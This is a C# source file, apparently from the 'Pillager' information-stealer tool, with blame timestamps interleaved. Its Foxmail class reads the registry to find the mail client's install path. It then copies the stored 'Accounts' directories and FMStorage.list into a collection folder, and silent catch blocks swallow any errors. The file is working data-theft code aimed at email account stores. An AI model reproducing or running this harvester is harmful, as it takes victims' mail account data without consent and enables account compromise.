2023-11-13 10:43:32 -08:00
|
|
|
|
using Pillager.Helper;
|
|
|
|
|
using System;
|
|
|
|
|
using System.Collections.Generic;
|
|
|
|
|
using System.IO;
|
|
|
|
|
using System.Linq;
|
|
|
|
|
using System.Text;
|
|
|
|
|
|
|
|
|
|
namespace Pillager.Mails
|
|
|
|
|
{
|
|
|
|
|
internal class Foxmail
|
|
|
|
|
{
|
|
|
|
|
public static string MailName = "Foxmail";
|
|
|
|
|
|
|
|
|
|
public static string GetInstallPath()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2023-12-06 03:19:29 -08:00
|
|
|
|
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command")?.GetValue("").ToString();
|
|
|
|
|
foxPath = foxPath?.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
|
2023-11-13 10:43:32 -08:00
|
|
|
|
return foxPath;
|
|
|
|
|
}
|
|
|
|
|
catch { return ""; }
|
|
|
|
|
}
|
|
|
|
|
public static void Save(string path)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
string installpath = GetInstallPath();
|
2023-12-28 10:23:31 -08:00
|
|
|
|
if (!Directory.Exists(installpath) || !Directory.Exists(Path.Combine(installpath, "Storage"))) return;
|
2023-11-13 10:43:32 -08:00
|
|
|
|
string savepath = Path.Combine(path, MailName);
|
|
|
|
|
Directory.CreateDirectory(savepath);
|
2023-12-28 10:23:31 -08:00
|
|
|
|
DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(installpath, "Storage"));
|
|
|
|
|
foreach (var directory in directoryInfo.GetDirectories("Accounts", SearchOption.AllDirectories))
|
2023-11-13 10:43:32 -08:00
|
|
|
|
{
|
2023-12-28 10:23:31 -08:00
|
|
|
|
Methods.CopyDirectory(directory.FullName, Path.Combine(savepath, Path.GetFileName(Path.GetDirectoryName(directory.FullName)) + "\\Accounts"), true);
|
2023-11-13 10:43:32 -08:00
|
|
|
|
}
|
|
|
|
|
if (File.Exists(Path.Combine(installpath, "FMStorage.list"))) File.Copy(Path.Combine(installpath, "FMStorage.list"), Path.Combine(savepath, "FMStorage.list"));
|
|
|
|
|
}
|
|
|
|
|
catch { }
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|